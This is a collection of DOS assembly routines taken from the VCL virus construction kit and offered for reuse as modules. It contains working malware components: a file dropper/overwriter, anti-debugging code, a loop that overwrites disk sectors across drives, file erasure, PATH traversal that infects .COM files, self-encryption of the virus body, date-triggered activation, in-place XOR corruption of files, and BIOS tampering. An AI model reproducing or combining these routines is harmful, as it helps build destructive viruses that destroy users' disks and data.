;These routines were pulled from the VCL as an aid to those who ;wish to write themselves some utilities. I have tried to gather ;all the essential pieces of the routines, so that you can simply ;install them in modules. ; ; ; ; ;This is a DROPPER routine from the VCL. mov dx,offset data00 ; DX points to data mov si,offset data01 ; SI points to data push di ; Save DI mov ah,02Fh ; DOS get DTA function int 021h mov di,bx ; DI points to DTA mov ah,04Eh ; DOS find first file function mov cx,00100111b ; CX holds all file attributes int 021h jc create_file ; If not found then create it write_in_file: mov ax,04301h ; DOS set file attributes function xor cx,cx ; File will have no attributes lea dx,[di + 01Eh] ; DX points to file name int 021h mov ax,03D01h ; DOS open file function, write lea dx,[di + 01Eh] ; DX points to file name int 021h xchg bx,ax ; Transfer file handle to AX mov ah,040h ; DOS write to file function mov cx,[si] ; CX holds number of byte to write lea dx,[si + 2] ; DX points to the data int 021h mov ax,05701h ; DOS set file date/time function mov cx,[di + 016h] ; CX holds old file time mov dx,[di + 018h] ; DX holds old file data int 021h mov ah,03Eh ; DOS close file function int 021h mov ax,04301h ; DOS set file attributes function xor ch,ch ; Clear CH for attributes mov cl,[di + 015h] ; CL holds old attributes lea dx,[di + 01Eh] ; DX points to file name int 021h mov ah,04Fh ; DOS find next file function int 021h jnc write_in_file ; If successful do next file jmp short dropper_end ; Otherwise exit create_file: mov ah,03Ch ; DOS create file function xor cx,cx ; File has no attributes int 021h xchg bx,ax ; Transfer file handle to AX mov ah,040h ; DOS write to file function mov cx,[si] ; CX holds number of byte to write lea dx,[si + 2] ; DX points to the data int 021h mov ah,03Eh ; DOS close file function int 021h dropper_end: pop di ; Restore DI mov ax,04C00h ; DOS terminate function int 021h ;This is a STOP TRACE technique for fouling up DEBUGGERS stop_tracing: mov cx,09EBh mov ax,0FE05h ; Acutal move, plus a HaLT jmp $-2 add ah,03Bh ; AH now equals 025h jmp $-10 ; Execute the HaLT mov bx,offset null_vector ; BX points to new routine push cs ; Transfer CS into ES pop es ; using a PUSH/POP int 021h mov al,1 ; Disable interrupt 1, too int 021h jmp short skip_null ; Hop over the loop null_vector: jmp $ ; An infinite loop skip_null: mov byte ptr [lock_keys + 1],130 ; Prefetch unchanged lock_keys: mov al,128 ; Change here screws DEBUG out 021h,al ; If tracing then lock keyboard ;This is a TRASH routine for destroying sectors mov ax,0002h ; First argument is 2 mov cx,0001h ; Second argument is 1 cli ; Disable interrupts (no Ctrl-C) cwd ; Clear DX (start with sector 0) trash_loop: int 026h ; DOS absolute write interrupt dec ax ; Select the previous disk cmp ax,-1 ; Have we gone too far? jne trash_loop ; If not, repeat with new drive sti ; Restore interrupts ;This is a FILE ERASE routine mov dx,offset data02 ; DX points to data mov ah,04Eh ; DOS find first file function mov cx,00100111b ; All file attributes valid int 021h jc erase_done ; Exit procedure on failure mov ah,02Fh ; DOS get DTA function int 021h lea dx,[bx + 01Eh] ; DX points to filename in DTA erase_loop: mov ah,041h ; DOS delete file function int 021h mov ah,03Ch ; DOS create file function xor cx,cx ; No attributes for new file int 021h mov ah,041h ; DOS delete file function int 021h mov ah,04Fh ; DOS find next file function int 021h jnc erase_loop ; Repeat until no files left erase_done: mov ax,04C00h ; DOS terminate function int 021h ;This is a DIRECTORY "PATH"/ FILE FIND routine search_files proc near mov bx,di ; BX points to the virus push bp ; Save BP mov bp,sp ; BP points to local buffer sub sp,135 ; Allocate 135 bytes on stack mov byte ptr [bp - 135],'\' ; Start with a backslash mov ah,047h ; DOS get current dir function xor dl,dl ; DL holds drive # (current) lea si,[bp - 134] ; SI points to 64-byte buffer int 021h call traverse_path ; Start the traversal traversal_loop: cmp word ptr [bx + path_ad],0 ; Was the search unsuccessful? je done_searching ; If so then we're done call found_subdir ; Otherwise copy the subdirectory mov ax,cs ; AX holds the code segment mov ds,ax ; Set the data and extra mov es,ax ; segments to the code segment xor al,al ; Zero AL stosb ; NULL-terminate the directory mov ah,03Bh ; DOS change directory function lea dx,[bp - 70] ; DX points to the directory int 021h lea dx,[bx + com_mask] ; DX points to "*.COM" push di mov di,bx call find_files ; Try to infect a .COM file mov bx,di pop di jnc done_searching ; If successful the exit jmp short traversal_loop ; Keep checking the PATH done_searching: mov ah,03Bh ; DOS change directory function lea dx,[bp - 135] ; DX points to old directory int 021h cmp word ptr [bx + path_ad],0 ; Did we run out of directories? jne at_least_tried ; If not then exit stc ; Set the carry flag for failure at_least_tried: mov sp,bp ; Restore old stack pointer pop bp ; Restore BP ret ; Return to caller com_mask db "*.COM",0 ; Mask for all .COM files search_files endp traverse_path proc near mov es,word ptr cs:[002Ch] ; ES holds the enviroment segment xor di,di ; DI holds the starting offset find_path: lea si,[bx + path_string] ; SI points to "PATH=" lodsb ; Load the "P" into AL mov cx,08000h ; Check the first 32767 bytes repne scasb ; Search until the byte is found mov cx,4 ; Check the next four bytes check_next_4: lodsb ; Load the next letter of "PATH=" scasb ; Compare it to the environment jne find_path ; If there not equal try again loop check_next_4 ; Otherwise keep checking mov word ptr [bx + path_ad],di ; Save the PATH address mov word ptr [bx + path_ad + 2],es ; Save the PATH's segment ret ; Return to caller path_string db "PATH=" ; The PATH string to search for path_ad dd ? ; Holds the PATH's address traverse_path endp found_subdir proc near lds si,dword ptr [bx + path_ad] ; DS:SI points to PATH lea di,[bp - 70] ; DI points to the work buffer push cs ; Transfer CS into ES for pop es ; byte transfer move_subdir: lodsb ; Load the next byte into AL cmp al,';' ; Have we reached a separator? je moved_one ; If so we're done copying or al,al ; Are we finished with the PATH? je moved_last_one ; If so get out of here stosb ; Store the byte at ES:DI jmp short move_subdir ; Keep transfering characters moved_last_one: xor si,si ; Zero SI to signal completion moved_one: mov word ptr es:[bx + path_ad],si ; Store SI in the path address ret ; Return to caller found_subdir endp find_files proc near push bp ; Save BP mov ah,02Fh ; DOS get DTA function int 021h push bx ; Save old DTA address mov bp,sp ; BP points to local buffer sub sp,128 ; Allocate 128 bytes on stack push dx ; Save file mask mov ah,01Ah ; DOS set DTA function lea dx,[bp - 128] ; DX points to buffer int 021h mov ah,04Eh ; DOS find first file function mov cx,00100111b ; CX holds all file attributes pop dx ; Restore file mask find_a_file: int 021h jc done_finding ; Exit if no files found call infect_file ; Infect the file! jnc done_finding ; Exit if no error mov ah,04Fh ; DOS find next file function jmp short find_a_file ; Try finding another file done_finding: mov sp,bp ; Restore old stack frame mov ah,01Ah ; DOS set DTA function pop dx ; Retrieve old DTA address int 021h pop bp ; Restore BP ret ; Return to caller find_files endp ;This is a RAM REDUCTION routine mov dx,0064h ; First argument is 100 push es ; Save ES mov ax,040h ; Set extra segment to 040h mov es,ax ; (ROM BIOS) mov word ptr es:[013h],dx ; Store new RAM ammount pop es ; Restore ES mov ah,0Fh ; BIOS get video mode function int 010h xor ah,ah ; BIOS set video mode function int 010h ;This is a MACHINE GUN SOUND routine followed by a DROP TO ROM routine mov cx,0005h ; First argument is 5 new_shot: push cx ; Save the current count mov dx,0140h ; DX holds pitch mov bx,0100h ; BX holds shot duration in al,061h ; Read the speaker port and al,11111100b ; Turn off the speaker bit fire_shot: xor al,2 ; Toggle the speaker bit out 061h,al ; Write AL to speaker port add dx,09248h ; mov cl,3 ; ror dx,cl ; Figure out the delay time mov cx,dx ; and cx,01FFh ; or cx,10 ; shoot_pause: loop shoot_pause ; Delay a bit dec bx ; Are we done with the shot? jnz fire_shot ; If not, pulse the speaker and al,11111100b ; Turn off the speaker bit out 061h,al ; Write AL to speaker port mov bx,0002h ; BX holds delay time (ticks) xor ah,ah ; Get time function int 1Ah ; BIOS timer interrupt add bx,dx ; Add current time to delay shoot_delay: int 1Ah ; Get the time again cmp dx,bx ; Are we done yet? jne shoot_delay ; If not, keep checking pop cx ; Restore the count loop new_shot ; Do another shot int 018h ; Drop to ROM BASIC mov ax,04C00h ; DOS terminate function int 021h ;This is a DISPLAY STRING routine main proc near mov si,offset data00 ; SI points to data mov ah,0Eh ; BIOS display char. function display_loop: lodsb ; Load the next char. into AL or al,al ; Is the character a null? je disp_strnend ; If it is, exit int 010h ; BIOS video interrupt jmp short display_loop ; Do the next character disp_strnend: This is a RANDOM NUMBER from BIOS CLOCK generator get_random proc near xor ah,ah ; BIOS get clock count function int 01Ah xchg dx,ax ; Transfer the count into AX ret ; Return to caller get_random endp This is an CODE ENCRYPTION routine encrypt_code proc near mov si,offset encrypt_decrypt; SI points to cipher routine xor ah,ah ; BIOS get time function int 01Ah mov word ptr [si + 8],dx ; Low word of timer is new key xor byte ptr [si],1 ; xor byte ptr [si + 7],1 ; Change all SIs to DIs xor word ptr [si + 10],0101h; (and vice-versa) mov di,offset finish ; Copy routine into heap mov cx,finish - encrypt_decrypt - 1 ; All but final RET push si ; Save SI for later push cx ; Save CX for later rep movsb ; Copy the bytes mov si,offset write_stuff ; SI points to write stuff mov cx,5 ; CX holds length of write rep movsb ; Copy the bytes pop cx ; Restore CX pop si ; Restore SI inc cx ; Copy the RET also this time rep movsb ; Copy the routine again mov ah,040h ; DOS write to file function mov dx,offset start ; DX points to virus call finish ; Encrypt/write/decrypt ret ; Return to caller write_stuff: mov cx,finish - start ; Length of code int 021h encrypt_code endp end_of_code label near encrypt_decrypt proc near mov si,offset start_of_code ; SI points to code to decrypt mov cx,(end_of_code - start_of_code) / 2 ; CX holds length xor_loop: db 081h,034h,00h,00h ; XOR a word by the key inc si ; Do the next word inc si ; loop xor_loop ; Loop until we're through ret ; Return to caller encrypt_decrypt endp ;This is a BEEP routine beep proc near jcxz beep_end ; Exit if there are no beeps mov ax,0E07h ; BIOS display char., BEL beep_loop: int 010h ; Beep loop beep_loop ; Beep until --CX = 0 beep_end: ret ; Return to caller beep endp ;This is a GET DAY/WEEK COMPARE BEFORE ACTIVATE routine call get_day cmp ax,000Bh ; Did the function return 11? jne skip00 ; If not equal, skip effect call get_weekday cmp ax,0005h ; Did the function return 5? jne skip00 ; If not equal, skip effect jmp short strt00 ; Success -- skip jump skip00: jmp end00 ; Skip the routine strt00: mov si,offset data00 ; SI points to data mov ah,0Eh ; BIOS display char. function ;Code goes between this--------------------------------> get_day proc near mov ah,02Ah ; DOS get date function int 021h mov al,dl ; Copy day into AL cbw ; Sign-extend AL into AX ret ; Return to caller get_day endp get_weekday proc near mov ah,02Ah ; DOS get date function int 021h cbw ; Sign-extend AL into AX ret ; Return to caller get_weekday endp ;This is a FILE CORRUPTION routine mov dx,offset data01 ; DX points to data push bp ; Save BP mov bp,sp ; BP points to stack frame sub sp,4096 ; Allocate 4096-byte buffer push di ; Save DI mov ah,02Fh ; DOS get DTA function int 021h mov di,bx ; DI points to DTA mov ah,04Eh ; DOS find first file function mov cx,00100111b ; CX holds all file attributes int 021h jc corrupt_end ; If no files found then exit corrupt_file: mov ax,04301h ; DOS set file attributes function xor cx,cx ; File will have no attributes lea dx,[di + 01Eh] ; DX points to file name int 021h mov ax,03D02h ; DOS open file function, r/w lea dx,[di + 01Eh] ; DX points to file name int 021h xchg bx,ax ; Transfer file handle to AX c_crypt_loop: mov ah,03Fh ; DOS read from file function mov cx,4096 ; Read 4k of characters lea dx,[bp - 4096] ; DX points to the buffer int 021h or ax,ax ; Were 0 bytes read? je close_c_file ; If so then close it up push ax ; Save AX lea si,[bp - 4096] ; SI points to the buffer xor ah,ah ; BIOS get clock ticks function int 01Ah pop cx ; CX holds number of bytes read push cx ; Save CX corrupt_bytes: xor byte ptr [si],dl ; XOR byte by clock ticks inc si ; Do the next byte inc dx ; Change the key for next byte loop corrupt_bytes ; Repeat until buffer is done pop dx ; Restore DX (holds bytes read) push dx ; Save count for write mov ax,04201h ; DOS file seek function, current mov cx,0FFFFh ; Seeking backwards neg dx ; Seeking backwards int 021h mov ah,040h ; DOS write to file function pop cx ; CX holds number of bytes read lea dx,[bp - 4096] ; DX points to the buffer int 021h jmp short c_crypt_loop close_c_file: mov ax,05701h ; DOS set file date/time function mov cx,[di + 016h] ; CX holds old file time mov dx,[di + 018h] ; DX holds old file data int 021h mov ah,03Eh ; DOS close file function int 021h mov ax,04301h ; DOS set file attributes function xor ch,ch ; Clear CH for attributes mov cl,[di + 015h] ; CL holds old attributes lea dx,[di + 01Eh] ; DX points to file name int 021h mov ah,04Fh ; DOS find next file function int 021h jnc corrupt_file ; If successful do next file corrupt_end: pop di ; Restore DI mov sp,bp ; Deallocate local buffer pop bp ; Restore BP ;This is a COM PORT REARRANGING routin mov bx,0001h ; First argument is 1 mov si,0002h ; Second argument is 2 push es ; Save ES xor ax,ax ; Set the extra segment to mov es,ax ; zero (ROM BIOS) shl bx,1 ; Convert to word index shl si,1 ; Convert to word index mov ax,word ptr [bx + 03FEh]; Zero COM port address xchg word ptr [si + 03FEh],ax; Put first value in second, mov word ptr [bx + 03FEh],ax; and second value in first! pop es ; Restore ES ;This is a DROP TO ROM routine rom_basic proc near int 018h ; Drop to ROM BASIC ret ; Return to caller rom_basic endp ;This is a TUNE PLAYING routine + TUNE DATA mov si,offset data00 ; SI points to data get_note: mov bx,[si] ; Load BX with the frequency or bx,bx ; Is BX equal to zero? je play_tune_done ; If it is we are finished mov ax,034DDh ; mov dx,0012h ; cmp dx,bx ; jnb new_note ; div bx ; This bit here was stolen mov bx,ax ; from the Turbo C++ v1.0 in al,061h ; library file CS.LIB. I test al,3 ; extracted sound() from the jne skip_an_or ; library and linked it to or al,3 ; an .EXE file, then diassembled out 061h,al ; it. Basically this turns mov al,0B6h ; on the speaker at a certain out 043h,al ; frequency. skip_an_or: mov al,bl ; out 042h,al ; mov al,bh ; out 042h,al ; mov bx,[si + 2] ; BX holds duration value xor ah,ah ; BIOS get time function int 1Ah add bx,dx ; Add the time to the length wait_loop: int 1Ah ; Get the time again (AH = 0) cmp dx,bx ; Is the delay over? jne wait_loop ; Repeat until it is in al,061h ; Stolen from the nosound() and al,0FCh ; procedure in Turbo C++ v1.0. out 061h,al ; This turns off the speaker. new_note: add si,4 ; SI points to next note jmp short get_note ; Repeat with the next note play_tune_done: data00 dw 262,6,262,6,293,6,329,6,262,6,329,6,293,6,196,6 dw 262,6,262,6,293,6,329,6,262,12,262,12 dw 262,6,262,6,293,6,329,6,349,6,329,6,293,6,262,6 dw 246,6,196,6,220,6,246,6,262,12,262,12 dw 220,6,246,6,220,6,174,6,220,6,246,6,262,6,220,6 dw 196,6,220,6,196,6,174,6,164,6,174,6,196,7 dw 220,6,246,6,220,6,174,6,220,6,246,6,262,6,220,7 dw 196,6,262,6,246,6,293,6,262,12,262,12 dw 0 ;This is an ANSI DISPLAY routine mov si,offset data01 ; SI points to data xor cx,cx ; Clear CX push di ; Save DI push es ; Save ES jcxz uncrunch_done ; Exit if there are no characters mov ah,0Fh ; BIOS get screen mode function int 10h xor ah,ah ; BIOS set screen mode function int 10h ; Clear the screen xor di,di mov ax,0B800h ; AX is set to video segment mov es,ax ; ES holds video segment mov dx,di ; Save X coordinate for later xor ax,ax ; Set current attributes cld loopa: lodsb ; Get next character cmp al,32 ; Is it a control character? jb foreground ; Handle it if it is stosw ; Save letter on screen next: loop loopa ; Repeat until we're done jmp short uncrunch_done ; Leave this routine foreground: cmp al,16 ; Are we changing the foreground? jnb background ; If not, check the background and ah,0F0h ; Strip off old foreground or ah,al ; Put the new one on jmp short next ; Resume looping background: cmp al,24 ; Are we changing the background? je next_line ; If AL = 24, go to next line jnb flash_bit_toggle ; If AL > 24 set the flash bit sub al,16 ; Change AL to a color number add al,al ; Crude way of shifting left add al,al ; four bits without changing add al,al ; CL or wasting space. Ok, add al,al ; I guess. and al,08Fh ; Strip off old background or ah,al ; Put the new one on jmp short next ; Resume looping next_line: add dx,160 ; Skip a whole line (80 chars. mov di,dx ; AND 80 attribs.) jmp short next ; Resume looping flash_bit_toggle: cmp al,27 ; Is it a blink toggle? jb multi_output ; If AL < 27, it's a blinker jne next ; Otherwise resume looping xor ah,128 ; Toggle the flash bit jmp short next ; Resume looping multi_output: cmp al,25 ; Set Zero flag if multi-space mov bx,cx ; Save main counter lodsb ; Get number of repititions mov cl,al ; Put it in CL mov al,' ' ; AL holds a space jz start_output ; If displaying spaces, jump lodsb ; Otherwise get character to use dec bx ; Adjust main counter start_output: xor ch,ch ; Clear CH inc cx ; Add one to count rep stosw ; Display the character mov cx,bx ; Restore main counter dec cx ; Adjust main counter loopnz loopa ; Resume looping if not done uncrunch_done: pop es ; Restore ES pop di ; Restore DI mov ax,04C00h ; DOS terminate function int 021h